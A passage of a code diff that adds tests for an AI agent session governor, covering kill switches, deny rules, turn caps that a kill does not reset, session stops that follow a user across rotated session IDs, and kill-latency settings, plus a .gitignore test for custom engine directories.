assert.strictEqual((await gov.admitTurn('s1')).allowed, false);
|
|
88
|
+
});
|
|
89
|
+
test('the warning is once per rule, not once per poll', async () => {
|
|
90
|
+
const lines = [];
|
|
91
|
+
const sandboxes = fakeSandboxes([], false);
|
|
92
|
+
const gov = (0, governor_1.createGovernor)({
|
|
93
|
+
caps: {}, sandboxes, pack: 'joker1',
|
|
94
|
+
getLease: async () => liveLease({ deny: [{ scope: 'session', match: 's1', mode: 'kill' }] }),
|
|
95
|
+
logger: { info: (m) => lines.push(m), warn: (m) => lines.push(m) },
|
|
96
|
+
});
|
|
97
|
+
await gov.refresh();
|
|
98
|
+
await gov.refresh();
|
|
99
|
+
await gov.refresh();
|
|
100
|
+
assert.strictEqual(lines.filter((l) => /DEGRADED TO DRAIN/.test(l)).length, 1);
|
|
101
|
+
});
|
|
102
|
+
test('with a driver, kill still ends running work', async () => {
|
|
103
|
+
const sandboxes = fakeSandboxes(['s1'], true);
|
|
104
|
+
const gov = (0, governor_1.createGovernor)({
|
|
105
|
+
caps: {}, sandboxes, pack: 'joker1',
|
|
106
|
+
getLease: async () => liveLease({ deny: [{ scope: 'session', match: 's1', mode: 'kill' }] }),
|
|
107
|
+
});
|
|
108
|
+
await gov.refresh();
|
|
109
|
+
assert.deepStrictEqual(sandboxes.destroyed, ['s1']);
|
|
110
|
+
});
|
|
111
|
+
test('the kill switch itself says so when it can only refuse new work', async () => {
|
|
112
|
+
const lines = [];
|
|
113
|
+
const gov = (0, governor_1.createGovernor)({
|
|
114
|
+
caps: {}, sandboxes: fakeSandboxes([], false),
|
|
115
|
+
logger: { info: (m) => lines.push(m), warn: (m) => lines.push(m) },
|
|
116
|
+
});
|
|
117
|
+
await gov.killAll('drill');
|
|
118
|
+
assert.ok(lines.some((l) => /nothing running can be stopped/.test(l)));
|
|
119
|
+
});
|
|
120
|
+
test('effectiveDenyMode is the one place that decides', () => {
|
|
121
|
+
assert.strictEqual((0, governor_1.effectiveDenyMode)('kill', true), 'kill');
|
|
122
|
+
assert.strictEqual((0, governor_1.effectiveDenyMode)('kill', false), 'drain');
|
|
123
|
+
assert.strictEqual((0, governor_1.effectiveDenyMode)('drain', false), 'drain');
|
|
124
|
+
assert.strictEqual((0, governor_1.effectiveDenyMode)(undefined, false), undefined);
|
|
125
|
+
});
|
|
126
|
+
});
|
|
127
|
+
suite('a kill does not hand back budgets', () => {
|
|
128
|
+
/**
|
|
129
|
+
* `killAll` called `meter.forget` on every session it killed, so a kill-then-restore (a billing
|
|
130
|
+
* hold lifted, a drill, an operator toggling the switch) gave every session a brand-new turn and
|
|
131
|
+
* duration budget. The cheapest way past a cap was to trip the kill switch. The cap-breach path
|
|
132
|
+
* deliberately did NOT do this, and explains why.
|
|
133
|
+
*/
|
|
134
|
+
test('a session over its turn cap is still over it after a kill and a restore', async () => {
|
|
135
|
+
const sandboxes = fakeSandboxes(['s1']);
|
|
136
|
+
let lease = liveLease({ caps: { maxTurnsPerSession: 2 } });
|
|
137
|
+
const gov = (0, governor_1.createGovernor)({ caps: {}, sandboxes, getLease: async () => lease });
|
|
138
|
+
await gov.refresh();
|
|
139
|
+
assert.ok((await gov.admitTurn('s1')).allowed);
|
|
140
|
+
gov.recordTurn('s1');
|
|
141
|
+
assert.ok((await gov.admitTurn('s1')).allowed);
|
|
142
|
+
gov.recordTurn('s1');
|
|
143
|
+
lease = liveLease({ enabled: false, caps: { maxTurnsPerSession: 2 } });
|
|
144
|
+
await gov.refresh();
|
|
145
|
+
lease = liveLease({ caps: { maxTurnsPerSession: 2 } });
|
|
146
|
+
await gov.refresh();
|
|
147
|
+
const after = await gov.admitTurn('s1');
|
|
148
|
+
assert.strictEqual(after.allowed, false, 'the kill must not renew the budget');
|
|
149
|
+
assert.match(after.reason ?? '', /turn cap reached/);
|
|
150
|
+
});
|
|
151
|
+
test('a deny(kill) does not renew the budget either', async () => {
|
|
152
|
+
const sandboxes = fakeSandboxes(['s1']);
|
|
153
|
+
let lease = liveLease({ caps: { maxTurnsPerSession: 1 } });
|
|
154
|
+
const gov = (0, governor_1.createGovernor)({ caps: {}, sandboxes, pack: 'joker1', getLease: async () => lease });
|
|
155
|
+
await gov.refresh();
|
|
156
|
+
assert.ok((await gov.admitTurn('s1')).allowed);
|
|
157
|
+
gov.recordTurn('s1');
|
|
158
|
+
lease = liveLease({ caps: { maxTurnsPerSession: 1 }, deny: [{ scope: 'session', match: 's1', mode: 'kill' }] });
|
|
159
|
+
await gov.refresh();
|
|
160
|
+
lease = liveLease({ caps: { maxTurnsPerSession: 1 } });
|
|
161
|
+
await gov.refresh();
|
|
162
|
+
const after = await gov.admitTurn('s1');
|
|
163
|
+
assert.strictEqual(after.allowed, false);
|
|
164
|
+
assert.match(after.reason ?? '', /turn cap reached/);
|
|
165
|
+
});
|
|
166
|
+
});
|
|
167
|
+
suite('session-scoped stops and the client-supplied session_id', () => {
|
|
168
|
+
test('a session rule bound to a user does not match another account replaying the id', () => {
|
|
169
|
+
const lease = liveLease({ deny: [{ scope: 'session', match: 'ticket-42', mode: 'kill', user: 'alice@x.com' }] });
|
|
170
|
+
assert.ok((0, lease_1.denyVerdict)(lease, { sessionKey: 'uH--ticket-42', pack: 'joker1', userId: 'alice@x.com' }).denied);
|
|
171
|
+
assert.ok(!(0, lease_1.denyVerdict)(lease, { sessionKey: 'uH--ticket-42', pack: 'joker1', userId: 'mallory@x.com' }).denied);
|
|
172
|
+
});
|
|
173
|
+
test('rotating session_id does not escape a session stop once the user is known', async () => {
|
|
174
|
+
const sandboxes = fakeSandboxes();
|
|
175
|
+
let lease = liveLease();
|
|
176
|
+
const gov = (0, governor_1.createGovernor)({ caps: {}, sandboxes, pack: 'joker1', getLease: async () => lease });
|
|
177
|
+
// The turn path teaches the governor which user 'ticket-42' belongs to.
|
|
178
|
+
await gov.admitTurn('uH--ticket-42', 'alice@x.com');
|
|
179
|
+
lease = liveLease({ deny: [{ scope: 'session', match: 'ticket-42', mode: 'kill', reason: 'runaway' }] });
|
|
180
|
+
await gov.refresh();
|
|
181
|
+
assert.strictEqual((await gov.admitTurn('uH--ticket-42', 'alice@x.com')).allowed, false, 'the named session');
|
|
182
|
+
const rotated = await gov.admitTurn('uH--brand-new-id', 'alice@x.com');
|
|
183
|
+
assert.strictEqual(rotated.allowed, false, 'a fresh session_id from the same user must not escape');
|
|
184
|
+
assert.strictEqual((await gov.admitTurn('uH--someone-else', 'bob@x.com')).allowed, true, 'and nobody else is caught');
|
|
185
|
+
});
|
|
186
|
+
test('followUser: false keeps a genuinely id-only stop', async () => {
|
|
187
|
+
const sandboxes = fakeSandboxes();
|
|
188
|
+
let lease = liveLease();
|
|
189
|
+
const gov = (0, governor_1.createGovernor)({ caps: {}, sandboxes, pack: 'joker1', getLease: async () => lease });
|
|
190
|
+
await gov.admitTurn('uH--ticket-42', 'alice@x.com');
|
|
191
|
+
lease = liveLease({ deny: [{ scope: 'session', match: 'ticket-42', mode: 'drain', followUser: false }] });
|
|
192
|
+
await gov.refresh();
|
|
193
|
+
assert.strictEqual((await gov.admitTurn('uH--ticket-42', 'alice@x.com')).allowed, false);
|
|
194
|
+
assert.strictEqual((await gov.admitTurn('uH--another', 'alice@x.com')).allowed, true);
|
|
195
|
+
});
|
|
196
|
+
test('with no verified identity the stop is id-only — the documented limitation', () => {
|
|
197
|
+
const lease = liveLease({ deny: [{ scope: 'session', match: 'anon-1', mode: 'kill' }] });
|
|
198
|
+
assert.ok((0, lease_1.denyVerdict)(lease, { sessionKey: 'anon-1', pack: 'joker1' }).denied);
|
|
199
|
+
assert.ok(!(0, lease_1.denyVerdict)(lease, { sessionKey: 'anon-2', pack: 'joker1' }).denied);
|
|
200
|
+
});
|
|
201
|
+
test('resolveFollowedUsers ignores spent rules and respects explicit user binding', () => {
|
|
202
|
+
const past = Math.floor(Date.now() / 1000) - 1;
|
|
203
|
+
const sessions = new Map([['uH--t42', 'alice@x.com']]);
|
|
204
|
+
assert.strictEqual((0, lease_1.resolveFollowedUsers)(liveLease({ deny: [{ scope: 'session', match: 't42', mode: 'kill', until: past }] }), sessions).size, 0);
|
|
205
|
+
assert.strictEqual((0, lease_1.resolveFollowedUsers)(liveLease({ deny: [{ scope: 'session', match: 't42', mode: 'kill', user: 'bob@x.com' }] }), sessions).size, 0, 'a rule bound to bob must not widen itself to alice');
|
|
206
|
+
});
|
|
207
|
+
});
|
|
208
|
+
suite('poll interval and the advertised kill latency', () => {
|
|
209
|
+
test('one constant drives poll and cache — they can no longer disagree', () => {
|
|
210
|
+
assert.strictEqual((0, lease_1.resolveLeasePollSeconds)(undefined), lease_1.DEFAULT_LEASE_POLL_SECONDS);
|
|
211
|
+
assert.strictEqual((0, lease_1.leaseCacheSecondsFor)((0, lease_1.resolveLeasePollSeconds)(undefined)), lease_1.DEFAULT_LEASE_POLL_SECONDS);
|
|
212
|
+
});
|
|
213
|
+
test('the printed kill latency is the TRUE worst case (poll + cache), not the poll alone', () => {
|
|
214
|
+
assert.strictEqual((0, lease_1.effectiveKillLatencySeconds)(30), 60);
|
|
215
|
+
assert.strictEqual((0, lease_1.effectiveKillLatencySeconds)(10), 20);
|
|
216
|
+
});
|
|
217
|
+
test('a nonsense or tiny poll is floored, not honoured', () => {
|
|
218
|
+
assert.strictEqual((0, lease_1.resolveLeasePollSeconds)(0), 5);
|
|
219
|
+
assert.strictEqual((0, lease_1.resolveLeasePollSeconds)(-1), 5);
|
|
220
|
+
assert.strictEqual((0, lease_1.resolveLeasePollSeconds)(NaN), lease_1.DEFAULT_LEASE_POLL_SECONDS);
|
|
221
|
+
});
|
|
222
|
+
});
|
|
@@ -51,6 +51,8 @@ const os = __importStar(require("os"));
|
|
|
51
51
|
const sync_1 = require("../headless/sync");
|
|
52
52
|
const shared_1 = require("../shared");
|
|
53
53
|
const paths_1 = require("../agentpack/paths");
|
|
54
|
+
const branding_1 = require("../branding");
|
|
55
|
+
const utils_1 = require("../utils");
|
|
54
56
|
// -------------------------------------------------------------------------
|
|
55
57
|
// Test Helpers
|
|
56
58
|
// -------------------------------------------------------------------------
|
|
@@ -175,6 +177,26 @@ suite('Headless Sync - syncPackToWorkspace', () => {
|
|
|
175
177
|
assert.ok(content.includes('.claude'), '.gitignore should include .claude');
|
|
176
178
|
assert.ok(content.includes('.codex'), '.gitignore should include .codex');
|
|
177
179
|
});
|
|
180
|
+
test('creates .gitignore with custom engine workspace dirs', async () => {
|
|
181
|
+
const cursorEngineDir = path.join(workspaceRoot, branding_1.AGENTIDE_DIR_NAME, 'engines', 'cursor');
|
|
182
|
+
await fs_1.promises.mkdir(cursorEngineDir, { recursive: true });
|
|
183
|
+
await fs_1.promises.writeFile(path.join(cursorEngineDir, 'engine.manifest.json'), JSON.stringify({
|
|
184
|
+
version: 2,
|
|
185
|
+
id: 'cursor',
|
|
186
|
+
entry: './engine.mjs',
|
|
187
|
+
workspaceSync: {
|
|
188
|
+
enabled: true,
|
|
189
|
+
dir: '.cursor',
|
|
190
|
+
rulesFile: 'CURSOR.md',
|
|
191
|
+
includeSkills: true,
|
|
192
|
+
includeRules: true,
|
|
193
|
+
},
|
|
194
|
+
promptInjection: { mode: 'none' },
|
|
195
|
+
}));
|
|
196
|
+
await (0, utils_1.ensureWorkspaceGitAndGitignore)(workspaceRoot, logger);
|
|
197
|
+
const content = await fs_1.promises.readFile(path.join(workspaceRoot, '.gitignore'), 'utf8');
|
|
198
|
+
assert.ok(content.includes('.cursor'), '.gitignore should include custom engine workspace dir');
|
|
199
|
+
});
|
|
178
200
|
test('handles empty pack (no AGENTS.md)', async () => {
|
|
179
201
|
// Pack with no files should not throw
|
|
180
202
|
await (0, sync_1.syncPackToWorkspace)(workspaceRoot, packPath, 'test-pack', 'claude', logger);
|